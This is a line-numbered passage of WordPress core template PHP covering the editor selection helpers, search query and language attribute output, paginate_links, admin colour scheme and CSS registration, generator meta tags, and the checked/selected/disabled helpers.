2899 * Checks that the user requires a WYSIWIG editor and that the editor is
2900 * supported in the users browser.
2901 *
2902 * @since 2.0.0
2903 *
2904 * @global bool $wp_rich_edit
2905 * @global bool $is_gecko
2906 * @global bool $is_opera
2907 * @global bool $is_safari
2908 * @global bool $is_chrome
2909 * @global bool $is_IE
2910 *
2911 * @return bool
2912 */
2913function user_can_richedit() {
2914 global $wp_rich_edit, $is_gecko, $is_opera, $is_safari, $is_chrome, $is_IE, $is_edge;
2915
2916 if ( !isset($wp_rich_edit) ) {
2917 $wp_rich_edit = false;
2918
2919 if ( get_user_option( 'rich_editing' ) == 'true' || ! is_user_logged_in() ) { // default to 'true' for logged out users
2920 if ( $is_safari ) {
2921 $wp_rich_edit = ! wp_is_mobile() || ( preg_match( '!AppleWebKit/(\d+)!', $_SERVER['HTTP_USER_AGENT'], $match ) && intval( $match[1] ) >= 534 );
2922 } elseif ( $is_gecko || $is_chrome || $is_IE || $is_edge || ( $is_opera && !wp_is_mobile() ) ) {
2923 $wp_rich_edit = true;
2924 }
2925 }
2926 }
2927
2928 /**
2929 * Filters whether the user can access the rich (Visual) editor.
2930 *
2931 * @since 2.1.0
2932 *
2933 * @param bool $wp_rich_edit Whether the user can access to the rich (Visual) editor.
2934 */
2935 return apply_filters( 'user_can_richedit', $wp_rich_edit );
2936}
2937
2938/**
2939 * Find out which editor should be displayed by default.
2940 *
2941 * Works out which of the two editors to display as the current editor for a
2942 * user. The 'html' setting is for the "Text" editor tab.
2943 *
2944 * @since 2.5.0
2945 *
2946 * @return string Either 'tinymce', or 'html', or 'test'
2947 */
2948function wp_default_editor() {
2949 $r = user_can_richedit() ? 'tinymce' : 'html'; // defaults
2950 if ( wp_get_current_user() ) { // look for cookie
2951 $ed = get_user_setting('editor', 'tinymce');
2952 $r = ( in_array($ed, array('tinymce', 'html', 'test') ) ) ? $ed : $r;
2953 }
2954
2955 /**
2956 * Filters which editor should be displayed by default.
2957 *
2958 * @since 2.5.0
2959 *
2960 * @param array $r An array of editors. Accepts 'tinymce', 'html', 'test'.
2961 */
2962 return apply_filters( 'wp_default_editor', $r );
2963}
2964
2965/**
2966 * Renders an editor.
2967 *
2968 * Using this function is the proper way to output all needed components for both TinyMCE and Quicktags.
2969 * _WP_Editors should not be used directly. See https://core.trac.wordpress.org/ticket/17144.
2970 *
2971 * NOTE: Once initialized the TinyMCE editor cannot be safely moved in the DOM. For that reason
2972 * running wp_editor() inside of a meta box is not a good idea unless only Quicktags is used.
2973 * On the post edit screen several actions can be used to include additional editors
2974 * containing TinyMCE: 'edit_page_form', 'edit_form_advanced' and 'dbx_post_sidebar'.
2975 * See https://core.trac.wordpress.org/ticket/19173 for more information.
2976 *
2977 * @see _WP_Editors::editor()
2978 * @since 3.3.0
2979 *
2980 * @param string $content Initial content for the editor.
2981 * @param string $editor_id HTML ID attribute value for the textarea and TinyMCE. Can only be /[a-z]+/.
2982 * @param array $settings See _WP_Editors::editor().
2983 */
2984function wp_editor( $content, $editor_id, $settings = array() ) {
2985 if ( ! class_exists( '_WP_Editors', false ) )
2986 require( ABSPATH . WPINC . '/class-wp-editor.php' );
2987
2988 _WP_Editors::editor($content, $editor_id, $settings);
2989}
2990
2991/**
2992 * Retrieves the contents of the search WordPress query variable.
2993 *
2994 * The search query string is passed through esc_attr() to ensure that it is safe
2995 * for placing in an html attribute.
2996 *
2997 * @since 2.3.0
2998 *
2999 * @param bool $escaped Whether the result is escaped. Default true.
3000 * Only use when you are later escaping it. Do not use unescaped.
3001 * @return string
3002 */
3003function get_search_query( $escaped = true ) {
3004 /**
3005 * Filters the contents of the search query variable.
3006 *
3007 * @since 2.3.0
3008 *
3009 * @param mixed $search Contents of the search query variable.
3010 */
3011 $query = apply_filters( 'get_search_query', get_query_var( 's' ) );
3012
3013 if ( $escaped )
3014 $query = esc_attr( $query );
3015 return $query;
3016}
3017
3018/**
3019 * Displays the contents of the search query variable.
3020 *
3021 * The search query string is passed through esc_attr() to ensure that it is safe
3022 * for placing in an html attribute.
3023 *
3024 * @since 2.1.0
3025 */
3026function the_search_query() {
3027 /**
3028 * Filters the contents of the search query variable for display.
3029 *
3030 * @since 2.3.0
3031 *
3032 * @param mixed $search Contents of the search query variable.
3033 */
3034 echo esc_attr( apply_filters( 'the_search_query', get_search_query( false ) ) );
3035}
3036
3037/**
3038 * Gets the language attributes for the html tag.
3039 *
3040 * Builds up a set of html attributes containing the text direction and language
3041 * information for the page.
3042 *
3043 * @since 4.3.0
3044 *
3045 * @param string $doctype Optional. The type of html document. Accepts 'xhtml' or 'html'. Default 'html'.
3046 */
3047function get_language_attributes( $doctype = 'html' ) {
3048 $attributes = array();
3049
3050 if ( function_exists( 'is_rtl' ) && is_rtl() )
3051 $attributes[] = 'dir="rtl"';
3052
3053 if ( $lang = get_bloginfo('language') ) {
3054 if ( get_option('html_type') == 'text/html' || $doctype == 'html' )
3055 $attributes[] = "lang=\"$lang\"";
3056
3057 if ( get_option('html_type') != 'text/html' || $doctype == 'xhtml' )
3058 $attributes[] = "xml:lang=\"$lang\"";
3059 }
3060
3061 $output = implode(' ', $attributes);
3062
3063 /**
3064 * Filters the language attributes for display in the html tag.
3065 *
3066 * @since 2.5.0
3067 * @since 4.3.0 Added the `$doctype` parameter.
3068 *
3069 * @param string $output A space-separated list of language attributes.
3070 * @param string $doctype The type of html document (xhtml|html).
3071 */
3072 return apply_filters( 'language_attributes', $output, $doctype );
3073}
3074
3075/**
3076 * Displays the language attributes for the html tag.
3077 *
3078 * Builds up a set of html attributes containing the text direction and language
3079 * information for the page.
3080 *
3081 * @since 2.1.0
3082 * @since 4.3.0 Converted into a wrapper for get_language_attributes().
3083 *
3084 * @param string $doctype Optional. The type of html document. Accepts 'xhtml' or 'html'. Default 'html'.
3085 */
3086function language_attributes( $doctype = 'html' ) {
3087 echo get_language_attributes( $doctype );
3088}
3089
3090/**
3091 * Retrieve paginated link for archive post pages.
3092 *
3093 * Technically, the function can be used to create paginated link list for any
3094 * area. The 'base' argument is used to reference the url, which will be used to
3095 * create the paginated links. The 'format' argument is then used for replacing
3096 * the page number. It is however, most likely and by default, to be used on the
3097 * archive post pages.
3098 *
3099 * The 'type' argument controls format of the returned value. The default is
3100 * 'plain', which is just a string with the links separated by a newline
3101 * character. The other possible values are either 'array' or 'list'. The
3102 * 'array' value will return an array of the paginated link list to offer full
3103 * control of display. The 'list' value will place all of the paginated links in
3104 * an unordered HTML list.
3105 *
3106 * The 'total' argument is the total amount of pages and is an integer. The
3107 * 'current' argument is the current page number and is also an integer.
3108 *
3109 * An example of the 'base' argument is "http://example.com/all_posts.php%_%"
3110 * and the '%_%' is required. The '%_%' will be replaced by the contents of in
3111 * the 'format' argument. An example for the 'format' argument is "?page=%#%"
3112 * and the '%#%' is also required. The '%#%' will be replaced with the page
3113 * number.
3114 *
3115 * You can include the previous and next links in the list by setting the
3116 * 'prev_next' argument to true, which it is by default. You can set the
3117 * previous text, by using the 'prev_text' argument. You can set the next text
3118 * by setting the 'next_text' argument.
3119 *
3120 * If the 'show_all' argument is set to true, then it will show all of the pages
3121 * instead of a short list of the pages near the current page. By default, the
3122 * 'show_all' is set to false and controlled by the 'end_size' and 'mid_size'
3123 * arguments. The 'end_size' argument is how many numbers on either the start
3124 * and the end list edges, by default is 1. The 'mid_size' argument is how many
3125 * numbers to either side of current page, but not including current page.
3126 *
3127 * It is possible to add query vars to the link by using the 'add_args' argument
3128 * and see add_query_arg() for more information.
3129 *
3130 * The 'before_page_number' and 'after_page_number' arguments allow users to
3131 * augment the links themselves. Typically this might be to add context to the
3132 * numbered links so that screen reader users understand what the links are for.
3133 * The text strings are added before and after the page number - within the
3134 * anchor tag.
3135 *
3136 * @since 2.1.0
3137 *
3138 * @global WP_Query $wp_query
3139 * @global WP_Rewrite $wp_rewrite
3140 *
3141 * @param string|array $args {
3142 * Optional. Array or string of arguments for generating paginated links for archives.
3143 *
3144 * @type string $base Base of the paginated url. Default empty.
3145 * @type string $format Format for the pagination structure. Default empty.
3146 * @type int $total The total amount of pages. Default is the value WP_Query's
3147 * `max_num_pages` or 1.
3148 * @type int $current The current page number. Default is 'paged' query var or 1.
3149 * @type bool $show_all Whether to show all pages. Default false.
3150 * @type int $end_size How many numbers on either the start and the end list edges.
3151 * Default 1.
3152 * @type int $mid_size How many numbers to either side of the current pages. Default 2.
3153 * @type bool $prev_next Whether to include the previous and next links in the list. Default true.
3154 * @type bool $prev_text The previous page text. Default '« Previous'.
3155 * @type bool $next_text The next page text. Default '« Previous'.
3156 * @type string $type Controls format of the returned value. Possible values are 'plain',
3157 * 'array' and 'list'. Default is 'plain'.
3158 * @type array $add_args An array of query args to add. Default false.
3159 * @type string $add_fragment A string to append to each link. Default empty.
3160 * @type string $before_page_number A string to appear before the page number. Default empty.
3161 * @type string $after_page_number A string to append after the page number. Default empty.
3162 * }
3163 * @return array|string|void String of page links or array of page links.
3164 */
3165function paginate_links( $args = '' ) {
3166 global $wp_query, $wp_rewrite;
3167
3168 // Setting up default values based on the current URL.
3169 $pagenum_link = html_entity_decode( get_pagenum_link() );
3170 $url_parts = explode( '?', $pagenum_link );
3171
3172 // Get max pages and current page out of the current query, if available.
3173 $total = isset( $wp_query->max_num_pages ) ? $wp_query->max_num_pages : 1;
3174 $current = get_query_var( 'paged' ) ? intval( get_query_var( 'paged' ) ) : 1;
3175
3176 // Append the format placeholder to the base URL.
3177 $pagenum_link = trailingslashit( $url_parts[0] ) . '%_%';
3178
3179 // URL base depends on permalink settings.
3180 $format = $wp_rewrite->using_index_permalinks() && ! strpos( $pagenum_link, 'index.php' ) ? 'index.php/' : '';
3181 $format .= $wp_rewrite->using_permalinks() ? user_trailingslashit( $wp_rewrite->pagination_base . '/%#%', 'paged' ) : '?paged=%#%';
3182
3183 $defaults = array(
3184 'base' => $pagenum_link, // http://example.com/all_posts.php%_% : %_% is replaced by format (below)
3185 'format' => $format, // ?page=%#% : %#% is replaced by the page number
3186 'total' => $total,
3187 'current' => $current,
3188 'show_all' => false,
3189 'prev_next' => true,
3190 'prev_text' => __('« Previous'),
3191 'next_text' => __('Next »'),
3192 'end_size' => 1,
3193 'mid_size' => 2,
3194 'type' => 'plain',
3195 'add_args' => array(), // array of query args to add
3196 'add_fragment' => '',
3197 'before_page_number' => '',
3198 'after_page_number' => ''
3199 );
3200
3201 $args = wp_parse_args( $args, $defaults );
3202
3203 if ( ! is_array( $args['add_args'] ) ) {
3204 $args['add_args'] = array();
3205 }
3206
3207 // Merge additional query vars found in the original URL into 'add_args' array.
3208 if ( isset( $url_parts[1] ) ) {
3209 // Find the format argument.
3210 $format = explode( '?', str_replace( '%_%', $args['format'], $args['base'] ) );
3211 $format_query = isset( $format[1] ) ? $format[1] : '';
3212 wp_parse_str( $format_query, $format_args );
3213
3214 // Find the query args of the requested URL.
3215 wp_parse_str( $url_parts[1], $url_query_args );
3216
3217 // Remove the format argument from the array of query arguments, to avoid overwriting custom format.
3218 foreach ( $format_args as $format_arg => $format_arg_value ) {
3219 unset( $url_query_args[ $format_arg ] );
3220 }
3221
3222 $args['add_args'] = array_merge( $args['add_args'], urlencode_deep( $url_query_args ) );
3223 }
3224
3225 // Who knows what else people pass in $args
3226 $total = (int) $args['total'];
3227 if ( $total < 2 ) {
3228 return;
3229 }
3230 $current = (int) $args['current'];
3231 $end_size = (int) $args['end_size']; // Out of bounds? Make it the default.
3232 if ( $end_size < 1 ) {
3233 $end_size = 1;
3234 }
3235 $mid_size = (int) $args['mid_size'];
3236 if ( $mid_size < 0 ) {
3237 $mid_size = 2;
3238 }
3239 $add_args = $args['add_args'];
3240 $r = '';
3241 $page_links = array();
3242 $dots = false;
3243
3244 if ( $args['prev_next'] && $current && 1 < $current ) :
3245 $link = str_replace( '%_%', 2 == $current ? '' : $args['format'], $args['base'] );
3246 $link = str_replace( '%#%', $current - 1, $link );
3247 if ( $add_args )
3248 $link = add_query_arg( $add_args, $link );
3249 $link .= $args['add_fragment'];
3250
3251 /**
3252 * Filters the paginated links for the given archive pages.
3253 *
3254 * @since 3.0.0
3255 *
3256 * @param string $link The paginated link URL.
3257 */
3258 $page_links[] = '<a class="prev page-numbers" href="' . esc_url( apply_filters( 'paginate_links', $link ) ) . '">' . $args['prev_text'] . '</a>';
3259 endif;
3260 for ( $n = 1; $n <= $total; $n++ ) :
3261 if ( $n == $current ) :
3262 $page_links[] = "<span class='page-numbers current'>" . $args['before_page_number'] . number_format_i18n( $n ) . $args['after_page_number'] . "</span>";
3263 $dots = true;
3264 else :
3265 if ( $args['show_all'] || ( $n <= $end_size || ( $current && $n >= $current - $mid_size && $n <= $current + $mid_size ) || $n > $total - $end_size ) ) :
3266 $link = str_replace( '%_%', 1 == $n ? '' : $args['format'], $args['base'] );
3267 $link = str_replace( '%#%', $n, $link );
3268 if ( $add_args )
3269 $link = add_query_arg( $add_args, $link );
3270 $link .= $args['add_fragment'];
3271
3272 /** This filter is documented in wp-includes/general-template.php */
3273 $page_links[] = "<a class='page-numbers' href='" . esc_url( apply_filters( 'paginate_links', $link ) ) . "'>" . $args['before_page_number'] . number_format_i18n( $n ) . $args['after_page_number'] . "</a>";
3274 $dots = true;
3275 elseif ( $dots && ! $args['show_all'] ) :
3276 $page_links[] = '<span class="page-numbers dots">' . __( '…' ) . '</span>';
3277 $dots = false;
3278 endif;
3279 endif;
3280 endfor;
3281 if ( $args['prev_next'] && $current && ( $current < $total || -1 == $total ) ) :
3282 $link = str_replace( '%_%', $args['format'], $args['base'] );
3283 $link = str_replace( '%#%', $current + 1, $link );
3284 if ( $add_args )
3285 $link = add_query_arg( $add_args, $link );
3286 $link .= $args['add_fragment'];
3287
3288 /** This filter is documented in wp-includes/general-template.php */
3289 $page_links[] = '<a class="next page-numbers" href="' . esc_url( apply_filters( 'paginate_links', $link ) ) . '">' . $args['next_text'] . '</a>';
3290 endif;
3291 switch ( $args['type'] ) {
3292 case 'array' :
3293 return $page_links;
3294
3295 case 'list' :
3296 $r .= "<ul class='page-numbers'>\n\t<li>";
3297 $r .= join("</li>\n\t<li>", $page_links);
3298 $r .= "</li>\n</ul>\n";
3299 break;
3300
3301 default :
3302 $r = join("\n", $page_links);
3303 break;
3304 }
3305 return $r;
3306}
3307
3308/**
3309 * Registers an admin colour scheme css file.
3310 *
3311 * Allows a plugin to register a new admin colour scheme. For example:
3312 *
3313 * wp_admin_css_color( 'classic', __( 'Classic' ), admin_url( "css/colors-classic.css" ), array(
3314 * '#07273E', '#14568A', '#D54E21', '#2683AE'
3315 * ) );
3316 *
3317 * @since 2.5.0
3318 *
3319 * @global array $_wp_admin_css_colors
3320 *
3321 * @param string $key The unique key for this theme.
3322 * @param string $name The name of the theme.
3323 * @param string $url The URL of the CSS file containing the color scheme.
3324 * @param array $colors Optional. An array of CSS color definition strings which are used
3325 * to give the user a feel for the theme.
3326 * @param array $icons {
3327 * Optional. CSS color definitions used to color any SVG icons.
3328 *
3329 * @type string $base SVG icon base color.
3330 * @type string $focus SVG icon color on focus.
3331 * @type string $current SVG icon color of current admin menu link.
3332 * }
3333 */
3334function wp_admin_css_color( $key, $name, $url, $colors = array(), $icons = array() ) {
3335 global $_wp_admin_css_colors;
3336
3337 if ( !isset($_wp_admin_css_colors) )
3338 $_wp_admin_css_colors = array();
3339
3340 $_wp_admin_css_colors[$key] = (object) array(
3341 'name' => $name,
3342 'url' => $url,
3343 'colors' => $colors,
3344 'icon_colors' => $icons,
3345 );
3346}
3347
3348/**
3349 * Registers the default Admin color schemes
3350 *
3351 * @since 3.0.0
3352 *
3353 * @global string $wp_version
3354 */
3355function register_admin_color_schemes() {
3356 $suffix = is_rtl() ? '-rtl' : '';
3357 $suffix .= SCRIPT_DEBUG ? '' : '.min';
3358
3359 wp_admin_css_color( 'fresh', _x( 'Default', 'admin color scheme' ),
3360 false,
3361 array( '#222', '#333', '#0073aa', '#00a0d2' ),
3362 array( 'base' => '#82878c', 'focus' => '#00a0d2', 'current' => '#fff' )
3363 );
3364
3365 // Other color schemes are not available when running out of src
3366 if ( false !== strpos( $GLOBALS['wp_version'], '-src' ) )
3367 return;
3368
3369 wp_admin_css_color( 'light', _x( 'Light', 'admin color scheme' ),
3370 admin_url( "css/colors/light/colors$suffix.css" ),
3371 array( '#e5e5e5', '#999', '#d64e07', '#04a4cc' ),
3372 array( 'base' => '#999', 'focus' => '#ccc', 'current' => '#ccc' )
3373 );
3374
3375 wp_admin_css_color( 'blue', _x( 'Blue', 'admin color scheme' ),
3376 admin_url( "css/colors/blue/colors$suffix.css" ),
3377 array( '#096484', '#4796b3', '#52accc', '#74B6CE' ),
3378 array( 'base' => '#e5f8ff', 'focus' => '#fff', 'current' => '#fff' )
3379 );
3380
3381 wp_admin_css_color( 'midnight', _x( 'Midnight', 'admin color scheme' ),
3382 admin_url( "css/colors/midnight/colors$suffix.css" ),
3383 array( '#25282b', '#363b3f', '#69a8bb', '#e14d43' ),
3384 array( 'base' => '#f1f2f3', 'focus' => '#fff', 'current' => '#fff' )
3385 );
3386
3387 wp_admin_css_color( 'sunrise', _x( 'Sunrise', 'admin color scheme' ),
3388 admin_url( "css/colors/sunrise/colors$suffix.css" ),
3389 array( '#b43c38', '#cf4944', '#dd823b', '#ccaf0b' ),
3390 array( 'base' => '#f3f1f1', 'focus' => '#fff', 'current' => '#fff' )
3391 );
3392
3393 wp_admin_css_color( 'ectoplasm', _x( 'Ectoplasm', 'admin color scheme' ),
3394 admin_url( "css/colors/ectoplasm/colors$suffix.css" ),
3395 array( '#413256', '#523f6d', '#a3b745', '#d46f15' ),
3396 array( 'base' => '#ece6f6', 'focus' => '#fff', 'current' => '#fff' )
3397 );
3398
3399 wp_admin_css_color( 'ocean', _x( 'Ocean', 'admin color scheme' ),
3400 admin_url( "css/colors/ocean/colors$suffix.css" ),
3401 array( '#627c83', '#738e96', '#9ebaa0', '#aa9d88' ),
3402 array( 'base' => '#f2fcff', 'focus' => '#fff', 'current' => '#fff' )
3403 );
3404
3405 wp_admin_css_color( 'coffee', _x( 'Coffee', 'admin color scheme' ),
3406 admin_url( "css/colors/coffee/colors$suffix.css" ),
3407 array( '#46403c', '#59524c', '#c7a589', '#9ea476' ),
3408 array( 'base' => '#f3f2f1', 'focus' => '#fff', 'current' => '#fff' )
3409 );
3410
3411}
3412
3413/**
3414 * Displays the URL of a WordPress admin CSS file.
3415 *
3416 * @see WP_Styles::_css_href and its {@see 'style_loader_src'} filter.
3417 *
3418 * @since 2.3.0
3419 *
3420 * @param string $file file relative to wp-admin/ without its ".css" extension.
3421 * @return string
3422 */
3423function wp_admin_css_uri( $file = 'wp-admin' ) {
3424 if ( defined('WP_INSTALLING') ) {
3425 $_file = "./$file.css";
3426 } else {
3427 $_file = admin_url("$file.css");
3428 }
3429 $_file = add_query_arg( 'version', get_bloginfo( 'version' ), $_file );
3430
3431 /**
3432 * Filters the URI of a WordPress admin CSS file.
3433 *
3434 * @since 2.3.0
3435 *
3436 * @param string $_file Relative path to the file with query arguments attached.
3437 * @param string $file Relative path to the file, minus its ".css" extension.
3438 */
3439 return apply_filters( 'wp_admin_css_uri', $_file, $file );
3440}
3441
3442/**
3443 * Enqueues or directly prints a stylesheet link to the specified CSS file.
3444 *
3445 * "Intelligently" decides to enqueue or to print the CSS file. If the
3446 * {@see 'wp_print_styles'} action has *not* yet been called, the CSS file will be
3447 * enqueued. If the {@see 'wp_print_styles'} action has been called, the CSS link will
3448 * be printed. Printing may be forced by passing true as the $force_echo
3449 * (second) parameter.
3450 *
3451 * For backward compatibility with WordPress 2.3 calling method: If the $file
3452 * (first) parameter does not correspond to a registered CSS file, we assume
3453 * $file is a file relative to wp-admin/ without its ".css" extension. A
3454 * stylesheet link to that generated URL is printed.
3455 *
3456 * @since 2.3.0
3457 *
3458 * @param string $file Optional. Style handle name or file name (without ".css" extension) relative
3459 * to wp-admin/. Defaults to 'wp-admin'.
3460 * @param bool $force_echo Optional. Force the stylesheet link to be printed rather than enqueued.
3461 */
3462function wp_admin_css( $file = 'wp-admin', $force_echo = false ) {
3463 // For backward compatibility
3464 $handle = 0 === strpos( $file, 'css/' ) ? substr( $file, 4 ) : $file;
3465
3466 if ( wp_styles()->query( $handle ) ) {
3467 if ( $force_echo || did_action( 'wp_print_styles' ) ) // we already printed the style queue. Print this one immediately
3468 wp_print_styles( $handle );
3469 else // Add to style queue
3470 wp_enqueue_style( $handle );
3471 return;
3472 }
3473
3474 /**
3475 * Filters the stylesheet link to the specified CSS file.
3476 *
3477 * If the site is set to display right-to-left, the RTL stylesheet link
3478 * will be used instead.
3479 *
3480 * @since 2.3.0
3481 *
3482 * @param string $file Style handle name or filename (without ".css" extension)
3483 * relative to wp-admin/. Defaults to 'wp-admin'.
3484 */
3485 echo apply_filters( 'wp_admin_css', "<link rel='stylesheet' href='" . esc_url( wp_admin_css_uri( $file ) ) . "' type='text/css' />\n", $file );
3486
3487 if ( function_exists( 'is_rtl' ) && is_rtl() ) {
3488 /** This filter is documented in wp-includes/general-template.php */
3489 echo apply_filters( 'wp_admin_css', "<link rel='stylesheet' href='" . esc_url( wp_admin_css_uri( "$file-rtl" ) ) . "' type='text/css' />\n", "$file-rtl" );
3490 }
3491}
3492
3493/**
3494 * Enqueues the default ThickBox js and css.
3495 *
3496 * If any of the settings need to be changed, this can be done with another js
3497 * file similar to media-upload.js. That file should
3498 * require array('thickbox') to ensure it is loaded after.
3499 *
3500 * @since 2.5.0
3501 */
3502function add_thickbox() {
3503 wp_enqueue_script( 'thickbox' );
3504 wp_enqueue_style( 'thickbox' );
3505
3506 if ( is_network_admin() )
3507 add_action( 'admin_head', '_thickbox_path_admin_subfolder' );
3508}
3509
3510/**
3511 * Displays the XHTML generator that is generated on the wp_head hook.
3512 *
3513 * See {@see 'wp_head'}.
3514 *
3515 * @since 2.5.0
3516 */
3517function wp_generator() {
3518 /**
3519 * Filters the output of the XHTML generator tag.
3520 *
3521 * @since 2.5.0
3522 *
3523 * @param string $generator_type The XHTML generator.
3524 */
3525 the_generator( apply_filters( 'wp_generator_type', 'xhtml' ) );
3526}
3527
3528/**
3529 * Display the generator XML or Comment for RSS, ATOM, etc.
3530 *
3531 * Returns the correct generator type for the requested output format. Allows
3532 * for a plugin to filter generators overall the {@see 'the_generator'} filter.
3533 *
3534 * @since 2.5.0
3535 *
3536 * @param string $type The type of generator to output - (html|xhtml|atom|rss2|rdf|comment|export).
3537 */
3538function the_generator( $type ) {
3539 /**
3540 * Filters the output of the XHTML generator tag for display.
3541 *
3542 * @since 2.5.0
3543 *
3544 * @param string $generator_type The generator output.
3545 * @param string $type The type of generator to output. Accepts 'html',
3546 * 'xhtml', 'atom', 'rss2', 'rdf', 'comment', 'export'.
3547 */
3548 echo apply_filters( 'the_generator', get_the_generator($type), $type ) . "\n";
3549}
3550
3551/**
3552 * Creates the generator XML or Comment for RSS, ATOM, etc.
3553 *
3554 * Returns the correct generator type for the requested output format. Allows
3555 * for a plugin to filter generators on an individual basis using the
3556 * {@see 'get_the_generator_$type'} filter.
3557 *
3558 * @since 2.5.0
3559 *
3560 * @param string $type The type of generator to return - (html|xhtml|atom|rss2|rdf|comment|export).
3561 * @return string|void The HTML content for the generator.
3562 */
3563function get_the_generator( $type = '' ) {
3564 if ( empty( $type ) ) {
3565
3566 $current_filter = current_filter();
3567 if ( empty( $current_filter ) )
3568 return;
3569
3570 switch ( $current_filter ) {
3571 case 'rss2_head' :
3572 case 'commentsrss2_head' :
3573 $type = 'rss2';
3574 break;
3575 case 'rss_head' :
3576 case 'opml_head' :
3577 $type = 'comment';
3578 break;
3579 case 'rdf_header' :
3580 $type = 'rdf';
3581 break;
3582 case 'atom_head' :
3583 case 'comments_atom_head' :
3584 case 'app_head' :
3585 $type = 'atom';
3586 break;
3587 }
3588 }
3589
3590 switch ( $type ) {
3591 case 'html':
3592 $gen = '<meta name="generator" content="WordPress ' . get_bloginfo( 'version' ) . '">';
3593 break;
3594 case 'xhtml':
3595 $gen = '<meta name="generator" content="WordPress ' . get_bloginfo( 'version' ) . '" />';
3596 break;
3597 case 'atom':
3598 $gen = '<generator uri="https://wordpress.org/" version="' . get_bloginfo_rss( 'version' ) . '">WordPress</generator>';
3599 break;
3600 case 'rss2':
3601 $gen = '<generator>https://wordpress.org/?v=' . get_bloginfo_rss( 'version' ) . '</generator>';
3602 break;
3603 case 'rdf':
3604 $gen = '<admin:generatorAgent rdf:resource="https://wordpress.org/?v=' . get_bloginfo_rss( 'version' ) . '" />';
3605 break;
3606 case 'comment':
3607 $gen = '<!-- generator="WordPress/' . get_bloginfo( 'version' ) . '" -->';
3608 break;
3609 case 'export':
3610 $gen = '<!-- generator="WordPress/' . get_bloginfo_rss('version') . '" created="'. date('Y-m-d H:i') . '" -->';
3611 break;
3612 }
3613
3614 /**
3615 * Filters the HTML for the retrieved generator type.
3616 *
3617 * The dynamic portion of the hook name, `$type`, refers to the generator type.
3618 *
3619 * @since 2.5.0
3620 *
3621 * @param string $gen The HTML markup output to wp_head().
3622 * @param string $type The type of generator. Accepts 'html', 'xhtml', 'atom',
3623 * 'rss2', 'rdf', 'comment', 'export'.
3624 */
3625 return apply_filters( "get_the_generator_{$type}", $gen, $type );
3626}
3627
3628/**
3629 * Outputs the html checked attribute.
3630 *
3631 * Compares the first two arguments and if identical marks as checked
3632 *
3633 * @since 1.0.0
3634 *
3635 * @param mixed $checked One of the values to compare
3636 * @param mixed $current (true) The other value to compare if not just true
3637 * @param bool $echo Whether to echo or just return the string
3638 * @return string html attribute or empty string
3639 */
3640function checked( $checked, $current = true, $echo = true ) {
3641 return __checked_selected_helper( $checked, $current, $echo, 'checked' );
3642}
3643
3644/**
3645 * Outputs the html selected attribute.
3646 *
3647 * Compares the first two arguments and if identical marks as selected
3648 *
3649 * @since 1.0.0
3650 *
3651 * @param mixed $selected One of the values to compare
3652 * @param mixed $current (true) The other value to compare if not just true
3653 * @param bool $echo Whether to echo or just return the string
3654 * @return string html attribute or empty string
3655 */
3656function selected( $selected, $current = true, $echo = true ) {
3657 return __checked_selected_helper( $selected, $current, $echo, 'selected' );
3658}
3659
3660/**
3661 * Outputs the html disabled attribute.
3662 *
3663 * Compares the first two arguments and if identical marks as disabled
3664 *
3665 * @since 3.0.0
3666 *
3667 * @param mixed $disabled One of the values to compare
3668 * @param mixed $current (true) The other value to compare if not just true
3669 * @param bool $echo Whether to echo or just return the string
3670 * @return string html attribute or empty string
3671 */
3672function disabled( $disabled, $current = true, $echo = true ) {
3673 return __checked_selected_helper( $disabled, $current, $echo, 'disabled' );
3674}
3675
3676/**
3677 * Private helper function for checked, selected, and disabled.
3678 *
3679 * Compares the first two arguments and if identical marks as $type
3680 *
3681 * @since 2.8.0
3682 * @access private
3683 *
3684 * @param mixed $helper One of the values to compare
3685 * @param mixed $current (true) The other value to compare if not just true
3686 * @param bool $echo Whether to echo or just return the string
3687 * @param string $type The type of checked|selected|disabled we are doing
3688 * @return string html attribute or empty string
3689 */
3690function __checked_selected_helper( $helper, $current, $echo, $type ) {
3691 if ( (string) $helper === (string) $current )
3692 $result = " $type='$type'";
3693 else
3694 $result = '';
3695
3696 if ( $echo )
3697 echo $result;
3698
3699 return $result;
3700}
3701
3702/**
3703 * Default settings for heartbeat
3704 *
3705 * Outputs the nonce used in the heartbeat XHR
3706 *
3707 * @since 3.6.0
3708 *
3709 * @param array $settings
3710 * @return array $settings
3711 */
3712function wp_heartbeat_settings( $settings ) {
3713 if ( ! is_admin() )
3714 $settings['ajaxurl'] = admin_url( 'admin-ajax.php', 'relative' );
3715
3716 if ( is_user_logged_in() )
3717 $settings['nonce'] = wp_create_nonce( 'heartbeat-nonce' );
3718
3719 return $settings;
3720}